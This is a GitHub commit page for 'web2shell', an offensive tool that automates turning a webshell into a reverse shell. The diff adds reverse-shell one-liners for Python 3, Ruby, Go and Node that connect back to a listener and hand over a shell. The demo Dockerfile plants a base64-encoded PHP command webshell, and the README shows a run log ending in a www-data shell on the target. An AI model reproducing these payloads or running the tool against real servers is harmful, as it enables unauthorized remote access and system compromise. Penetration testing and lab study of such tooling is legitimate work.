Skip to content

Commit

Permalink
v0.1.2 Release (#5)
Browse files Browse the repository at this point in the history
* Prompt for interface instead of defaulting to localhost

* Remove unused function

* Node reverse shell support

* Add option to pass in a list of bins to test, ignoring others
  • Loading branch information
ejedev committed Nov 21, 2023
1 parent ba439a7 commit a7549c8
Show file tree
Hide file tree
Showing 9 changed files with 61 additions and 28 deletions.
37 changes: 21 additions & 16 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -7,7 +7,7 @@ Credit for the reverse shells goes to [PayloadAllTheThings.](https://github.com/
## Usage

```
usage: web2shell [-h] [-i INTERFACE] [--force] [--ip IP] [--port PORT] [--nc NC] [--verbose] url
usage: web2shell [-h] [-v] [-i INTERFACE] [--force] [--ip IP] [--port PORT] [--nc NC] [--only [ONLY ...]] url
Automate converting webshells into reverse shells.
Expand All @@ -16,13 +16,14 @@ positional arguments:
options:
-h, --help show this help message and exit
-v, --verbose verbose command output
-i INTERFACE, --interface INTERFACE
the interface to use when listening for a remote shell. Default is localhost.
the interface to use when listening for a remote shell. If none is provided you will be prompted to select one.
--force force command execution even if initial check is invalid
--ip IP IP address of your own listener (skips listener setup if both IP and port are set)
--port PORT port of your own listener
--nc NC path to local nc binary
--verbose verbose command output
--only [ONLY ...] list of bins to test, ignores all others. ex: --only python php node
```

Providing an IP and port will cause the program to skip the listener setup and assume you already have netcat/a comparable listener running at that address.
Expand All @@ -46,7 +47,7 @@ The included payloads have all been tested on a simple webshell and work. If you
Example execution on local Docker image (see `demo/README.md`)

```
[evan@ejedev web2shell]$ python3 web2shell.py -i docker0 http://127.0.0.1:8080/cmd.php?cmd=SHELL
[evan@ejedev web2shell]$ python3 web2shell.py http://127.0.0.1:8080/cmd.php?cmd=SHELL
o o o o
O .oOOo. O O O
Expand All @@ -57,17 +58,22 @@ Example execution on local Docker image (see `demo/README.md`)
o O O O o O .O O o O O o o
`Oo'oO' `OoO' `OoO' oOoOoO `OoO' O o `OoO' Oo Oo
---------------------------------------------------
@ejedev
v0.1.2 @ejedev
Verifying commands can be executed...
Available interfaces...
[-] lo
[-] enp4s0
[-] br-aa3534e13396
[-] br-c7551daa06d2
[-] br-3bd00064871f
[-] docker0
[-] br-a01c69609a5e
[-] br-a193929c6ae4
[-] veth57bc03a
[-] br-aa3534e13396
[-] br-c7551daa06d2
[-] br-2369a8165a53
[-] veth7b49643
No interface provided. Please enter the name of an available interface or 'exit' to quit:
> docker0
docker0 selected. Address to use is 172.17.0.1
Testing ports...
[x] 1025 already in use or unavailable.
Expand All @@ -80,20 +86,19 @@ Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::1026
Ncat: Listening on 0.0.0.0:1026
[-] perl found at /usr/bin/perl
[-] perl found at /usr/bin/perl5.32-x86_64-linux-gnu
[-] php found at /usr/local/bin/php
[-] python found at /usr/bin/python3.9
[-] ruby found at /usr/bin/ruby2.7
[-] python3 found at /usr/bin/python3
[-] ruby found at /usr/bin/ruby
[-] go found at /usr/bin/go
[-] node found at /usr/bin/node
Finding shells...
[-] bash found at /bin/bash
[-] sh found at /bin/sh
[-] bash found at /usr/bin/bash
[-] sh found at /usr/bin/sh
Executing reverse shell...
Bins to test: 7
Bins to test: 6
Shells to test: 2
[!] Attempting perl payloads for path /usr/bin/perl
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:44590.
www-data@122099e5b76d:/var/www/html$
Ncat: Connection from 172.17.0.2:40170.
www-data@849d7a9007c8:/var/www/html$
```
9 changes: 9 additions & 0 deletions data/payloads.py
Original file line number Diff line number Diff line change
Expand Up @@ -16,12 +16,21 @@
'PATHHERE -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IPHERE",PORTHERE));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["SHELLHERE","-i"])\'',
'PATHHERE -c \'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IPHERE",PORTHERE));subprocess.call(["SHELLHERE","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())\'',
],
# TODO Add support for multiple binaries with the same payload list.
"python3": [
'PATHHERE -c \'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IPHERE",PORTHERE));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("SHELLHERE")\'',
'PATHHERE -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IPHERE",PORTHERE));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["SHELLHERE","-i"])\'',
'PATHHERE -c \'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IPHERE",PORTHERE));subprocess.call(["SHELLHERE","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())\'',
],
"ruby": [
'PATHHERE -rsocket -e\'exit if fork;c=TCPSocket.new("IPHERE","PORTHERE");loop{c.gets.chomp!;(exit! if $_=="exit");($_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){|io|c.print io.read}))rescue c.puts "failed: #{$_}"}\''
],
"go": [
'export GOCACHE=/tmp; echo \'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","IPHERE:PORTHERE");cmd:=exec.Command("SHELLHERE");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}\' > /tmp/t.go && PATHHERE run /tmp/t.go && rm /tmp/t.go'
],
"node": [
'echo \'(function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("SHELLHERE", []); var client = new net.Socket(); client.connect(PORTHERE, "IPHERE", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; })();\' > /tmp/t.js && node /tmp/t.js && rm /tmp/t.js'
],
}

shells = [
Expand Down
4 changes: 2 additions & 2 deletions demo/Dockerfile
Original file line number Diff line number Diff line change
@@ -1,12 +1,12 @@
FROM php:7.4.27-apache
FROM php:8.2.12-apache

WORKDIR /var/www/html

RUN echo "PD9waHAgaWYoaXNzZXQoJF9SRVFVRVNUWydjbWQnXSkpeyBlY2hvICI8cHJlPiI7ICRjbWQgPSAoJF9SRVFVRVNUWydjbWQnXSk7IHN5c3RlbSgkY21kKTsgZWNobyAiPC9wcmU+IjsgZGllOyB9Pz4=" | base64 -d > /var/www/html/cmd.php

RUN apt update

RUN apt install python3 ruby golang -y
RUN apt install python3 ruby golang nodejs -y

EXPOSE 80

Expand Down
3 changes: 3 additions & 0 deletions demo/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -4,10 +4,13 @@
2. Run the image (`docker run -it -p 8080:80 webshell`)
3. Use web2shell to secure a remote connection on the docker0 interface (`python3 web2shell.py --interface docker0 http://127.0.0.1:8080/cmd.php?cmd=SHELL`)

You can test individual shells with the `--only` flag. Please read the help menu for more info.

Note: This Docker container has the binaries for all supported reverse shells. They are as follows:

- Perl
- PHP
- Python
- Ruby
- Golang
- NodeJS
5 changes: 4 additions & 1 deletion modules/commands.py
Original file line number Diff line number Diff line change
Expand Up @@ -15,9 +15,12 @@ def execute(url: str, command: str) -> str:
return data.text


def find_bins(url: str, verbose: bool, bins: list) -> list:
def find_bins(url: str, verbose: bool, bins: list, only: list = []) -> list:
valid = []
for bin in bins:
if len(only) > 0:
if bin not in only:
continue
result = execute(url, f"whereis {bin}")
logger.log(result, types.Status.VERBOSE, True, verbose)
for path in result.split(" "):
Expand Down
15 changes: 10 additions & 5 deletions modules/connection.py
Original file line number Diff line number Diff line change
Expand Up @@ -12,11 +12,16 @@ def get_ip(interfaces: dict, provided_inteface: str) -> str:
if provided_inteface == interface:
selected = interface
if selected is None:
logger.log("No interface provided. Defaulting to localhost.")
return "127.0.0.1"
else:
logger.log(f"{selected} selected. Address to use is {interfaces[selected][0].address}")
return interfaces[selected][0].address
logger.log("No interface provided. Please enter the name of an available interface or 'exit' to quit:")
while selected is None:
inputed = input("> ")
if inputed.lower() == "exit":
quit()
else:
if inputed in interfaces:
selected = inputed
logger.log(f"{selected} selected. Address to use is {interfaces[selected][0].address}")
return interfaces[selected][0].address


def get_port(ip: str) -> int:
Expand Down
12 changes: 10 additions & 2 deletions modules/flags.py
Original file line number Diff line number Diff line change
Expand Up @@ -4,10 +4,11 @@ def setup(parser):
help='webshell URL, replace the provided command with "SHELL". ex: https://example.com/shell.php?cmd=SHELL',
type=str,
)
parser.add_argument("-v", "--verbose", help="verbose command output", required=False, action="store_true")
parser.add_argument(
"-i",
"--interface",
help="the interface to use when listening for a remote shell. Default is localhost.",
help="the interface to use when listening for a remote shell. If none is provided you will be prompted to select one.",
type=str,
required=False,
default="",
Expand All @@ -34,5 +35,12 @@ def setup(parser):
required=False,
default=None,
)
parser.add_argument("--verbose", help="verbose command output", required=False, action="store_true")
parser.add_argument(
"--only",
help="list of bins to test, ignores all others. ex: --only python php",
nargs="*",
type=str,
required=False,
default=[],
)
return parser
2 changes: 1 addition & 1 deletion modules/logger.py
Original file line number Diff line number Diff line change
Expand Up @@ -13,7 +13,7 @@ def splash():
o O O O o O .O O o O O o o
`Oo'oO' `OoO' `OoO' oOoOoO `OoO' O o `OoO' Oo Oo
---------------------------------------------------
v0.1.1 @ejedev
v0.1.2 @ejedev
"""
)

Expand Down
2 changes: 1 addition & 1 deletion web2shell.py
Original file line number Diff line number Diff line change
Expand Up @@ -41,7 +41,7 @@
port = results.port
logger.log(f"Final connection string will be {ip}:{port}...")
logger.log("Finding bins...")
bins = commands.find_bins(results.url, results.verbose, list(payloads.bins.keys()))
bins = commands.find_bins(results.url, results.verbose, list(payloads.bins.keys()), results.only)
logger.log("Finding shells...")
shells = commands.find_bins(results.url, results.verbose, payloads.shells)
if len(bins) < 1:
Expand Down

0 comments on commit a7549c8

Please sign in to comment.